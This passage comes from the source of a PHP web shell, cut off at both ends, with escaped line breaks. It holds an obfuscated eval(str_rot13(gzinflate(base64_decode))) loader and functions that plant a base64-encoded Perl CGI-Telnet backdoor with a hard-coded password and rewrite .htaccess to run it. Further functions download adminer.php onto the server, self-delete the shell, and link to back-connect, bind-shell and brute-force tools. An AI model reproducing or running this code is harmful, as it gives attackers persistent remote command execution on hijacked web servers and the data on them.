uc0w5Zk94cEwyWlF2U0ZaR2VOMVZxZ1lWV0JXaFluVjVjLzBxTFNaRnRhekpvZEl2MVdCZ3FFWkRLVWhFV2hhY0UrYU9JMnh5SklQVk8vTG1wMzM3L2ozY21JdGpObXJoeHNFK0RENVVwcXI4K0k1VW5wU1Q2Mk01Q2VRem5CMmFxc2tMVDZuL2dseFVIUkVsbnhNRkkySUl3ZkpNYUFRbkx6WmVGdmFEeUMvSkFjbXBPSkdlbFZkMHhqc01MWWk4eEIzYmlYenlMaFBza0FFN1lIZjNoeCtrSTVoaElEK2NsWitwZGx5UW40LytEUT09IjsKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCgkaGV4KSkpKSkpOyA=";\r\n\t$mass = fopen($file_mass, "w");\r\n\tfwrite($mass, base64_decode($mass_script));\r\n\techo "<br><center>  <iframe src=\'hex_tools/conf.php\' width=\'900\' height=\'480\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionLogout() {\r\n\texec("rm -rf hex_tools hex_cgi adminer.php");\r\n    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\r\n\tdie("</br></br><body bgcolor=\'#000000\'><pre align=center><form method=post style=\'color:#ffffff;text-align: center;\'>Bye -,-<br><br></form> </body>");\r\n}\r\nfunction actionSelfRemove() {\r\n\tif($_POST[\'p1\'] == \'yes\')\r\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\r\n\t\t\tdie(\'Shell has been removed\');\r\n\t\telse\r\n\t\t\techo \'unlink error!\';\r\n    if($_POST[\'p1\'] != \'yes\')\r\n        hardHeader();\r\n\techo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\r\n\thardFooter();\r\n}\r\nfunction actionInfect() {\r\n\thardHeader();\r\n\t$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);\r\n\tfunction adminer($url, $isi) {\r\n\t\t$fp = fopen($isi, "w");\r\n\t\t$ch = curl_init();\r\n\t\t \t  curl_setopt($ch, CURLOPT_URL, $url);\r\n\t\t \t  curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);\r\n\t\t \t  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n\t\t \t  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\r\n\t\t   \t  curl_setopt($ch, CURLOPT_FILE, $fp);\r\n\t\treturn curl_exec($ch);\r\n\t\t   \t  curl_close($ch);\r\n\t\tfclose($fp);\r\n\t\tob_flush();\r\n\t\tflush();\r\n\t}\r\n\tif(file_exists(\'adminer.php\')) {\r\n\t\techo "<center><font color=white><br><br><a href=\'$full/adminer.php\' target=\'_blank\'>-> adminer login <-</a><br><br><br></font></center>";\r\n\t} else {\r\n\t\tif(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {\r\n\t\t\techo "<center><font color=white><br><br><a href=\'$full/adminer.php\' target=\'_blank\'>-> adminer login <-</a><br><br></font></center>";\r\n\t\t} else {\r\n\t\t\techo "<center><font color=red>gagal buat file adminer</font></center>";\r\n\t\t}\r\n\t}\r\n\thardFooter();\r\n}\r\nfunction actionBruteforce() {\r\n\thardHeader();\r\n\techo "<center><h1>Cgi Telnet</h1><div class=content><br>";\r\n\t$cgi_dir = mkdir(\'hex_cgi\', 0755);\r\n        chdir(\'hex_cgi\');\r\n\t$file_cgi = "cgi.hex";\r\n        $memeg = ".htaccess";\r\n\t$isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \\n AddType application/x-httpd-cgi .hex \\n AddHandler cgi-script .hex \\n AddHandler cgi-script .hex";\r\n\t$htcgi = fopen(".htaccess", "w");\r\n\t$cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+Q0dJLVRlbG5ldDwvZm9udD4iOw0KDQokUGFzc3dvcmQgPSAiaGFja2VyMDg4MiI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzIHRvIGxvZ2luLg0Kc3ViIElzX1dpbigpew0KCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX0NCgllbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4NCg0KJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4NCg0KJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQNCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuDQoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQ0KCQkJCQkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQNCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlDQoJCQkJCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KJGNvbHM9IDE1MDsNCiRyb3dzPSAyNjsNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglteSAkZGlyID0kQ3VycmVudERpcjsNCgkkZGlyPX4gcy9cXC9cXFxcL2c7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KPHRpdGxlPkhhY3N1Z2lhPC90aXRsZT4NCg0KJEh0bWxNZXRhSGVhZGVyDQoNCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQp0ciB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogI2ZmOTEwOTsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCn0NCg0KdGFibGUgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KDQoNCmlucHV0IHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmE7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCg0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KDQpjb2RlIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsNCmNvbG9yOiB3aGlsZTsNCn0NCg0KcnVuIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCg0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiAjYWFhOw0KfQ0KQTpsaW5rIHsNCglDT0xPUjogI2ZmOTEwOTsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOnZpc2l0ZWQgew0KCUNPTE9SOiAjZmY5MTA5OyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6aG92ZXIgew0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI2ZmOTkwMDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQoNCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8NCgl2YXIgYWpheD0iIjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCXZhciBhamF4PSIiOw0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYmFjayArICInIHZhbHVlPUNhbmNlbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRkaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JGRpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOw0KCX1lbHNlDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7DQoJfQ0KfQ0KPC9zY3JpcHQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxjZW50ZXI+PGNvZGU+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0yPg0KCQk8Yj48Zm9udCBzaXplPSI1Ij4kRWRpdFBlcnNpb248L2ZvbnQ+PC9iPg0KCTwvdGQ+DQoNCgk8dGQ+DQoNCgkJPGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+JEVOVnsiU0VSVkVSX1NPRlRXQVJFIn08L2ZvbnQ+DQoJPC90ZD4NCgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjYmIwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2JiMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4NCgk8L3RkPg0KDQo8L3RyPg0KDQo8dHI+DQo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfA0KDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1iYWNrYmluZCI+QmFjayAmIEJpbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvbWFpbnN1c2VyIj5Eb21haW5zL1VzZXJzPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfA0KPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+DQoNCjwvZm9udD48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI2ZmOTljYyIgPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luU2NyZWVuDQp7DQoNCglwcmludCA8PEVORDsNCjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsNCiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsNCiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uDQogICAgcmV0dXJuOw0KICB9DQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7DQogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOw0KICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsNCiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7DQogIHRoaXMudW5wYX